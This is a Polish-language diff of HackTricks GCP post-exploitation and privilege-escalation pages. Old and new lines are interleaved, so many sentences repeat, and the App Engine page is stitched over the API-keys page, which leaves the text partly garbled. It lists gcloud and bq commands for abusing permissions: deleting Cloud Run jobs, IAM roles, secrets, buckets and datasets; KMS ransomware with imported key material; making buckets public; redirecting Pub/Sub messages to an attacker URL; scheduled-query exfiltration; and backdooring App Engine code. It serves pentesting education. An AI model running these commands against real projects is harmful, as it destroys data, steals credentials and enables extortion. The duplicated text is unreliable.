Aby uzyskać więcej informacji o Cloud Run, zobacz:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### Uzyskaj dostęp do obrazów
### Usuń CloudRun Job
Uprawnienia `run.services.delete` i `run.services.get`, a także `run.jobs.delete`, pozwalają tożsamości na całkowite usunięcie usługi lub zadania Cloud Run, łącznie z jej konfiguracją i historią. W rękach atakującego może to spowodować natychmiastowe zakłócenia działania aplikacji lub krytycznych przepływów pracy, prowadząc do denial of service (DoS) dla użytkowników i systemów zależnych od logiki usługi lub istotnych zaplanowanych zadań.
Jeśli masz dostęp do obrazów kontenerów, sprawdź kod pod kątem luk w zabezpieczeniach i zakodowanych informacji wrażliwych. Sprawdź również informacje wrażliwe w zmiennych środowiskowych.
Aby usunąć zadanie, można wykonać następującą operację.
```bash
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
```
Aby usunąć usługę, można wykonać następującą operację.
```bash
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
```
### Dostęp do obrazów kontenerów
Jeśli obrazy są przechowywane w repozytoriach wewnątrz usługi Artifact Registry, a użytkownik ma dostęp do odczytu repozytoriów, może również pobrać obraz z tej usługi.
Jeśli możesz uzyskać dostęp do obrazów kontenerów, sprawdź kod pod kątem podatności i zakodowanych (hardcoded) danych wrażliwych. Sprawdź też zmienne środowiskowe (env variables) pod kątem informacji wrażliwych.
### Zmodyfikuj i wdroż nowy obraz
### Modyfikacja i ponowne wdrożenie obrazu
Zmień obraz uruchomieniowy, aby ukraść informacje, a następnie wdroż nową wersję (po prostu przesłanie nowego kontenera docker z tymi samymi tagami nie spowoduje jego wykonania). Na przykład, jeśli udostępnia stronę logowania, ukradnij dane uwierzytelniające, które użytkownicy wysyłają.
Modyfikuj obraz uruchomieniowy, aby wykradać informacje, i wdroż nową wersję (samo przesłanie nowego kontenera docker z tymi samymi tagami nie spowoduje jego uruchomienia). Na przykład, jeśli udostępnia stronę logowania, wykradnij poświadczenia przesyłane przez użytkowników.
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,24 +10,42 @@ Możesz znaleźć więcej informacji o IAM w:
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
### Przyznawanie dostępu do konsoli zarządzania <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
### Nadawanie dostępu do konsoli zarządzania <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
Dostęp do [GCP management console](https://console.cloud.google.com) jest **przyznawany kontom użytkowników, a nie kontom serwisowym**. Aby zalogować się do interfejsu webowego, możesz **przyznać dostęp do Google account**, które kontrolujesz. Może to być genericzne "**@gmail.com**" konto, nie musi być członkiem docelowej organizacji.
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. Aby zalogować się do interfejsu web, możesz **przyznać dostęp do a Google account** którym zarządzasz. Może to być ogólne konto "**@gmail.com**", nie musi ono **być członkiem docelowej organizacji**.
Aby jednak przyznać prymitywną rolę **Owner** generycznemu "@gmail.com" kontu, będziesz musiał **użyć web console**. `gcloud` zwróci błąd, jeśli spróbujesz przyznać mu uprawnienie wyższe niż Editor.
Aby jednak **przyznać** prymitywną rolę **Owner** ogólnemu kontu "@gmail.com", będziesz musiał **użyć the web console**. `gcloud` zwróci błąd, jeśli spróbujesz przyznać mu uprawnienie wyższe niż Editor.
Możesz użyć następującego polecenia, aby **przyznać użytkownikowi prymitywną rolę Editor** w istniejącym projekcie:
<details>
<summary>Nadaj rolę Editor użytkownikowi</summary>
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
</details>
Jeśli udało ci się to zrobić, spróbuj **uzyskać dostęp do interfejsu webowego** i zbadać go stamtąd.
Jeśli udało Ci się to, spróbuj **uzyskać dostęp do interfejsu WWW** i dalej eksplorować stamtąd.
To jest **najwyższy poziom, jaki możesz przypisać za pomocą narzędzia gcloud**.
To jest **najwyższy poziom, jaki możesz przypisać przy użyciu narzędzia gcloud**.
### Usuń komponenty IAM `iam.*.delete`
Uprawnienia `iam.*.delete` (np. `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete` itd.) pozwalają tożsamości usuwać krytyczne komponenty IAM, takie jak role niestandardowe, powiązania kluczy API, klucze kont usługowych oraz same konta usługowe. W rękach atakującego umożliwia to usunięcie prawidłowych mechanizmów dostępu w celu spowodowania odmowy usługi.
Aby przeprowadzić taki atak, można na przykład usunąć role używając:
```bash
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
```
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
Uprawnienia `iam.serviceAccountKeys.disable` i `iam.serviceAccounts.disable` pozwalają na wyłączenie aktywnych kluczy Service Account lub samych Service Account, co w rękach atakującego może posłużyć do zakłócenia działania, spowodowania denial of service lub utrudnienia incident response przez uniemożliwienie użycia prawidłowych poświadczeń.
Aby wyłączyć Service Account, możesz użyć następującego polecenia:
```bash
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
```
Aby wyłączyć klucze Service Account, możesz użyć następującego polecenia:
```bash
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
```
### `iam.*.undelete`
Uprawnienia `iam.*.undelete` pozwalają na przywracanie wcześniej usuniętych elementów, takich jak API key bindings, custom roles lub service accounts. W rękach atakującego mogą być wykorzystane do odwrócenia działań obronnych (przywrócenia usuniętego dostępu), odtworzenia usuniętych wektorów kompromitacji w celu utrzymania dostępu lub uniknięcia działań naprawczych, co utrudnia opanowanie incydentu.
```bash
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Znajdź podstawowe informacje o KMS w:
### `cloudkms.cryptoKeyVersions.destroy`
Atakujący posiadający to uprawnienie może zniszczyć wersję KMS. Aby to zrobić, najpierw musisz wyłączyć klucz, a następnie go zniszczyć:
An attacker z tym uprawnieniem mógłby zniszczyć wersję KMS. Aby to zrobić najpierw musisz wyłączyć klucz, a następnie go zniszczyć:
<details>
@@ -65,20 +65,20 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
### KMS Ransomware
W AWS można całkowicie **steal a KMS key** poprzez modyfikację KMS resource policy i dopuszczenie do użycia klucza jedynie konta atakującego. Ponieważ takie resource policies nie istnieją w GCP, nie jest to możliwe.
W AWS można całkowicie **ukraść klucz KMS** przez modyfikację polityki zasobów KMS i umożliwienie użycia klucza wyłącznie kontu atakującego. Ponieważ takie polityki zasobów nie istnieją w GCP, nie jest to możliwe.
Jednak istnieje inny sposób przeprowadzenia globalnego KMS Ransomware, który obejmowałby następujące kroki:
- Utworzyć nową **version of the key with a key material** zaimportowaną przez atakującego
- Utworzyć nową **wersję klucza z materiałem klucza** zaimportowanym przez atakującego
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- Ustaw ją jako **domyślną wersję** (dla przyszłych danych, które będą szyfrowane)
- **Ponownie zaszyfruj starsze dane** zaszyfrowane poprzednią wersją przy użyciu nowej.
- **Usuń KMS key**
- Teraz tylko attacker, który posiada oryginalny materiał klucza, będzie w stanie odszyfrować zaszyfrowane dane
- **Ponownie zaszyfruj starsze dane**, zaszyfrowane poprzednią wersją, przy użyciu nowej wersji.
- **Usuń klucz KMS**
- Teraz tylko atakujący, który posiada oryginalny materiał klucza, będzie w stanie odszyfrować zaszyfrowane dane
#### Oto kroki, aby zaimportować nową wersję i wyłączyć/usunąć starsze dane:
#### Oto kroki, aby zaimportować nową wersję i wyłączyć/usuń starsze dane:
<details>
@@ -162,7 +162,7 @@ gcloud kms keys versions destroy \
<details>
<summary>Szyfrowanie danych za pomocą klucza symetrycznego (Python)</summary>
<summary>Szyfruj dane kluczem symetrycznym (Python)</summary>
```python
from google.cloud import kms
import base64
@@ -203,7 +203,7 @@ print('Ciphertext:', ciphertext)
<details>
<summary>Podpisz wiadomość asymetrycznym kluczem (Python)</summary>
<summary>Podpisz wiadomość kluczem asymetrycznym (Python)</summary>
```python
import hashlib
from google.cloud import kms
@@ -270,6 +270,32 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
### `cloudkms.cryptoKeyVersions.restore`
Uprawnienie `cloudkms.cryptoKeyVersions.restore` pozwala tożsamości na przywrócenie wersji klucza, która została wcześniej zaplanowana do zniszczenia lub wyłączona w Cloud KMS, przywracając ją do stanu aktywnego i używalnego.
```bash
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
### `cloudkms.cryptoKeyVersions.update`
Uprawnienie `cloudkms.cryptoKeyVersions.update` pozwala tożsamości modyfikować atrybuty lub stan konkretnej wersji klucza w Cloud KMS, na przykład włączając lub wyłączając ją.
```bash
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Pub/Sub
Więcej informacji o Pub/Sub znajdziesz na następującej stronie:
Aby uzyskać więcej informacji o Pub/Sub, zobacz następującą stronę:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@ Więcej informacji o Pub/Sub znajdziesz na następującej stronie:
### `pubsub.topics.publish`
Publikowanie wiadomości w topic, przydatne do **wysyłania nieoczekiwanych danych** oraz wywoływania nieprzewidzianych funkcji lub wykorzystania podatności:
Opublikowanie wiadomości w topicu, przydatne do **wysyłania nieoczekiwanych danych** oraz wywoływania nieoczekiwanych funkcjonalności lub exploit vulnerabilities:
<details>
<summary>Opublikuj wiadomość w topic</summary>
<summary>Opublikuj wiadomość w topicu</summary>
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,7 +25,7 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
### `pubsub.topics.detachSubscription`
Przydatne do uniemożliwienia subskrypcji odbierania wiadomości, na przykład by uniknąć wykrycia.
Przydatne do uniemożliwienia subskrypcji odbierania wiadomości, np. w celu uniknięcia wykrycia.
<details>
@@ -37,8 +37,8 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
Przydatne, aby zapobiec otrzymywaniu wiadomości przez subscription, być może w celu uniknięcia wykrycia.\
Można usunąć topic nawet jeśli ma do niego przypisane subscriptions.
Przydatne do uniemożliwienia subskrypcji otrzymywania wiadomości, być może w celu uniknięcia wykrycia.\
Możliwe jest usunięcie topicu nawet wtedy, gdy są do niego przypisane subskrypcje.
<details>
@@ -50,15 +50,41 @@ gcloud pubsub topics delete <TOPIC NAME>
### `pubsub.topics.update`
Użyj tego uprawnienia, aby zaktualizować niektóre ustawienia topicu i zakłócić jego działanie, np. `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
Użyj tego uprawnienia, aby zmienić ustawienia topic w celu jego zakłócenia, np. `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
Nadaj sobie uprawnienie, aby wykonać którekolwiek z poprzednich attacks.
Nadaj sobie uprawnienie do wykonania któregokolwiek z powyższych ataków.
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Pobierz wszystkie wiadomości z serwera WWW:
Pobierz wszystkie wiadomości na serwer WWW:
<details>
@@ -86,7 +112,7 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.delete`
**Usuń subskrypcję** może być przydatne do zakłócenia systemu przetwarzania logów lub czegoś podobnego:
**Usunięcie subskrypcji** może być przydatne do zakłócenia systemu przetwarzania logów lub czegoś podobnego:
<details>
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.update`
Użyj tego uprawnienia, aby zaktualizować jakieś ustawienie tak, żeby wiadomości były przechowywane w miejscu, do którego masz dostęp (URL, Big Query table, Bucket) lub po prostu je zakłócić.
Użyj tego uprawnienia, aby zaktualizować ustawienie tak, aby wiadomości były zapisywane w miejscu, do którego masz dostęp (URL, Big Query table, Bucket), lub aby je po prostu zakłócić.
<details>
<summary>Aktualizuj endpoint subskrypcji</summary>
<summary>Punkt końcowy aktualizacji subskrypcji</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
### `pubsub.subscriptions.setIamPolicy`
Nadaj sobie uprawnienia potrzebne do przeprowadzenia dowolnego z wcześniej opisanych ataków.
Przyznaj sobie uprawnienia potrzebne do przeprowadzenia któregokolwiek z wcześniej opisanych ataków.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Przypnij schema do topicu tak, aby wiadomości nie spełniały jego wymagań i w rezultacie topic został zakłócony.\
Dołącz schema do topic tak, aby messages ich nie spełniały i w efekcie topic został zakłócony.\
Jeśli nie ma żadnych schema, może być konieczne utworzenie jednego.
<details>
<summary>Utwórz plik schema i przypnij go do topicu</summary>
<summary>Utwórz plik schema i dołącz do topic</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -148,11 +174,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
### `pubsub.schemas.delete`
Może się wydawać, że usunięcie schema pozwoli Ci wysyłać wiadomości, które nie będą zgodne z schema. Jednakże, ponieważ schema zostanie usunięte, żadna wiadomość faktycznie nie trafi do topicu. Dlatego jest to **BEZUŻYTECZNE**:
Może się wydawać, że usunięcie schematu pozwoli na wysyłanie wiadomości, które nie spełniają schematu. Jednakże, ponieważ schemat zostanie usunięty, żadna wiadomość faktycznie nie trafi do tematu. Więc to jest **BEZUŻYTECZNE**:
<details>
<summary>Usuń schema (nieprzydatne)</summary>
<summary>Usuń schemat (nieprzydatne)</summary>
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
@@ -160,7 +186,7 @@ gcloud pubsub schemas delete <SCHEMA NAME>
### `pubsub.schemas.setIamPolicy`
Nadaj sobie uprawnienia potrzebne do wykonania któregokolwiek z wcześniej opisanych ataków.
Nadaj sobie uprawnienia potrzebne do przeprowadzenia któregokolwiek z wcześniej omówionych ataków.
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
@@ -168,7 +194,7 @@ To utworzy snapshot wszystkich unACKed wiadomości i przywróci je do subskrypcj
<details>
<summary>Utwórz snapshot i wykonaj seek do niego</summary>
<summary>Utwórz snapshot i wykonaj do niego seek</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
@@ -4,7 +4,7 @@
## Secretmanager
Aby uzyskać więcej informacji o Secret Manager sprawdź:
Aby uzyskać więcej informacji o Secret Manager, zobacz:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,15 +12,38 @@ Aby uzyskać więcej informacji o Secret Manager sprawdź:
### `secretmanager.versions.access`
To uprawnienie pozwala na odczyt sekretów z Secret Manager i może pomóc w eskalacji uprawnień (w zależności od tego, jakie informacje są przechowywane w sekretach):
To daje możliwość odczytu secrets ze Secret Manager i może pomóc w eskalacji uprawnień (w zależności od tego, jakie informacje są przechowywane w secret):
<details>
<summary>Access secret version</summary>
<summary>Dostęp do secret version</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
### `secretmanager.versions.destroy`
Uprawnienie `secretmanager.versions.destroy` pozwala tożsamości trwale zniszczyć (oznaczyć jako nieodwracalnie usuniętą) konkretną wersję sekretu w Secret Manager, co może umożliwić usunięcie krytycznych credentials i potencjalnie spowodować odmowę usługi lub uniemożliwić odzyskanie danych wrażliwych.
```bash
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.versions.disable`
Uprawnienie `secretmanager.versions.disable` umożliwia tożsamości wyłączenie aktywnych wersji sekretów w Secret Manager, tymczasowo blokując ich użycie przez aplikacje lub usługi, które od nich zależą.
```bash
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.secrets.delete`
Zestaw uprawnień `secretmanager.secrets.delete` pozwala tożsamości na całkowite usunięcie sekretu i wszystkich jego przechowywanych wersji w Secret Manager.
```bash
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
```
### `secretmanager.secrets.update`
Uprawnienie `secretmanager.secrets.update` pozwala tożsamości modyfikować metadane i konfigurację sekretu (na przykład ustawienia rotacji, politykę wersji, etykiety i niektóre właściwości sekretu).
```bash
gcloud secrets update SECRET_NAME \
--project=PROJECT_ID \
--clear-labels \
--rotation-period=DURATION
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,22 +1,18 @@
# GCP - Storage Post Exploitation
# GCP - Post-eksploatacja Cloud Storage
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Storage
Więcej informacji o Cloud Storage znajdziesz na tej stronie:
Aby uzyskać więcej informacji o Cloud Storage, sprawdź tę stronę:
{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}
### Udzielenie dostępu publicznego
### Umożliwienie dostępu publicznego
Możliwe jest przyznanie zewnętrznym użytkownikom (zalogowanym w GCP lub nie) dostępu do zawartości bucketów. Jednak domyślnie opcja udostępnienia bucketu publicznie jest wyłączona:
<details>
<summary>Ustaw bucket/objects jako publiczne</summary>
Możliwe jest przyznanie zewnętrznym użytkownikom (zalogowanym w GCP lub nie) dostępu do zawartości bucketów. Jednak domyślnie opcja upublicznienia bucketów jest wyłączona:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
</details>
Jeśli spróbujesz nadać **ACLs to a bucket with disabled ACLs**, napotkasz ten błąd: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Jeśli spróbujesz nadać **ACLs** bucketowi z wyłączonymi ACLs, otrzymasz ten błąd: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Aby uzyskać dostęp do otwartych bucketów przez przeglądarkę, wejdź na URL `https://<bucket_name>.storage.googleapis.com/` lub `https://<bucket_name>.storage.googleapis.com/<object_name>`
Aby uzyskać dostęp do otwartych bucketów przez przeglądarkę, otwórz adres URL `https://<bucket_name>.storage.googleapis.com/` lub `https://<bucket_name>.storage.googleapis.com/<object_name>`
### `storage.objects.delete` (`storage.objects.get`)
Aby usunąć obiekt:
```bash
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
```
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
Aby usunąć bucket:
```bash
gcloud storage rm -r gs://<BUCKET_NAME>
```
### Dezaktywacja HMAC Keys
Uprawnienie `storage.hmacKeys.update` pozwala dezaktywować HMAC keys, a uprawnienie `storage.hmacKeys.delete` pozwala tożsamości usuwać HMAC keys powiązane z service accounts w Cloud Storage.
```bash
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
# Delete
gcloud storage hmac delete <ACCESS_ID>
```
### `storage.buckets.setIpFilter` & `storage.buckets.update`
Uprawnienie `storage.buckets.setIpFilter`, wraz z uprawnieniem `storage.buckets.update`, pozwala tożsamości skonfigurować filtry adresów IP dla bucketu w Cloud Storage, określając, które zakresy lub adresy IP mają dostęp do zasobów tego bucketu.
Aby całkowicie wyczyścić filtr IP, można użyć następującego polecenia:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
```
Aby zmienić filtrowane adresy IP, można użyć następującego polecenia:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>
```
Plik JSON reprezentuje sam filtr, coś w stylu:
```bash
{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}
```
### `storage.buckets.restore`
Przywróć bucket za pomocą:
```bash
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,87 +1,139 @@
# GCP - Apikeys Privesc
# GCP - AppEngine Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Apikeys
## App Engine
The following permissions are useful to create and steal API keys, not this from the docs: _Klucz API to prosty zaszyfrowany ciąg znaków, który **identyfikuje aplikację bez żadnego podmiotu**. Są przydatne do anonimowego dostępu do **danych publicznych**, i służą do **powiązania** żądań API z Twoim projektem w celu limitów i **rozliczeń**._
Zatem, z kluczem API możesz sprawić, że firma zapłaci za twoje użycie API, ale nie będziesz w stanie eskalować uprawnień.
For more information about API Keys check:
Więcej informacji o App Engine znajdziesz:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
../gcp-services/gcp-app-engine-enum.md
{{#endref}}
For other ways to create API keys check:
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
To są wymagane uprawnienia do **wdrożenia aplikacji przy użyciu `gcloud` cli**. Możliwe, że uprawnienia **`get`** i **`list`** można **pominąć**.
Przykłady kodu w Pythonie znajdziesz w [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
Domyślnie nazwa usługi App będzie **`default`**, i może istnieć tylko 1 instancja o tej samej nazwie.\
Aby to zmienić i utworzyć drugą aplikację, w **`app.yaml`** zmień wartość klucza root na coś w rodzaju **`service: my-second-app`**
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
Odczekaj co najmniej 1015 minut; jeśli to nie zadziała, spróbuj wykonać ponownie **deploy another of times** i odczekaj kilka minut.
> [!NOTE]
> Możliwe jest wskazanie **Service Account**, który ma być użyty, ale domyślnie używany jest domyślny App Engine SA.
The URL of the application is something like `https://<proj-name>.oa.r.appspot.com/` or `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
### Aktualizacja równoważnych uprawnień
Możesz mieć wystarczające uprawnienia do zaktualizowania AppEngine, ale nie do utworzenia nowego. W takim przypadku możesz w ten sposób zaktualizować bieżący AppEngine:
```bash
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
Jeśli **już przejąłeś AppEngine** i masz uprawnienie **`appengine.applications.update`** oraz uprawnienie **actAs** do używania service account, możesz zmodyfikować service account używany przez AppEngine za pomocą:
```bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
Dzięki tym uprawnieniom można **zalogować się przez ssh na instancjach App Engine** typu **flexible** (nie standardowych). Niektóre z uprawnień **`list`** i **`get`** mogą nie być naprawdę potrzebne.
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
### `appengine.applications.update`, `appengine.operations.get`
Myślę, że to po prostu zmienia konto SA w tle, którego google użyje do skonfigurowania aplikacji, więc nie sądzę, żeby dało się tego nadużyć, by ukraść service account.
```bash
gcloud app update --service-account=<sa_email>
```
### `appengine.versions.getFileContents`, `appengine.versions.update`
Nie jestem pewien, jak użyć tych uprawnień ani czy są przydatne (uwaga: kiedy zmieniasz kod, tworzona jest nowa wersja, więc nie wiem, czy można po prostu zaktualizować kod lub rolę IAM istniejącej wersji, ale przypuszczam, że powinno to być możliwe — być może przez zmianę kodu wewnątrz bucketu??).
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
Aby usunąć tabele, dataset lub modele:
```bash
# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>
# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
```
### Nadużycie Scheduled Queries
Dysponując uprawnieniami `bigquery.datasets.get`, `bigquery.jobs.create`, i `iam.serviceAccounts.actAs`, tożsamość może odpytywać metadane datasetu, uruchamiać BigQuery jobs i wykonywać je przy użyciu Service Account o wyższych uprawnieniach.
Ten atak umożliwia złośliwe użycie Scheduled Queries do automatyzacji zapytań (uruchamianych pod wybranym Service Account), co może na przykład skutkować odczytaniem wrażliwych danych i zapisaniem ich do innej tabeli lub datasetu, do którego atakujący ma dostęp — ułatwiając pośrednią i ciągłą eksfiltrację bez konieczności wyprowadzania danych na zewnątrz.
Gdy atakujący dowie się, który Service Account ma niezbędne uprawnienia do wykonania żądanego zapytania, może utworzyć konfigurację Scheduled Query, która będzie uruchamiana z użyciem tego Service Account i okresowo zapisywać wyniki do wybranego przez niego datasetu.
```bash
bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'
```
### Dostęp zapisu do bucketów
Jak wspomniano, appengine versions generują pewne dane wewnątrz bucketu o nazwie w formacie: `staging.<project-id>.appspot.com`. Zauważ, że nie da się wcześniej przejąć tego bucketu, ponieważ GCP users nie są uprawnieni do tworzenia bucketów używając domeny `appspot.com`.
Jednak mając read & write access do tego bucketu, można eskalować uprawnienia do SA przypisanego do wersji AppEngine, monitorując bucket i za każdym razem, gdy zostanie wprowadzona zmiana, modyfikując kod jak najszybciej. W ten sposób kontener utworzony z tego kodu będzie **execute the backdoored code**.
For more information and a **PoC check the relevant information from this page**:
{{#ref}}
gcp-serviceusage-privesc.md
gcp-storage-privesc.md
{{#endref}}
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
### Dostęp zapisu do Artifact Registry
Ponieważ możesz nie wiedzieć, które API są włączone w projekcie lub jakie ograniczenia zastosowano do znalezionego klucza API, warto uruchomić narzędzie [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) i sprawdzić **do czego masz dostęp używając klucza API.**
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
To uprawnienie pozwala **utworzyć klucz API**:
<details>
<summary>Utwórz klucz API używając gcloud</summary>
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]=\"",
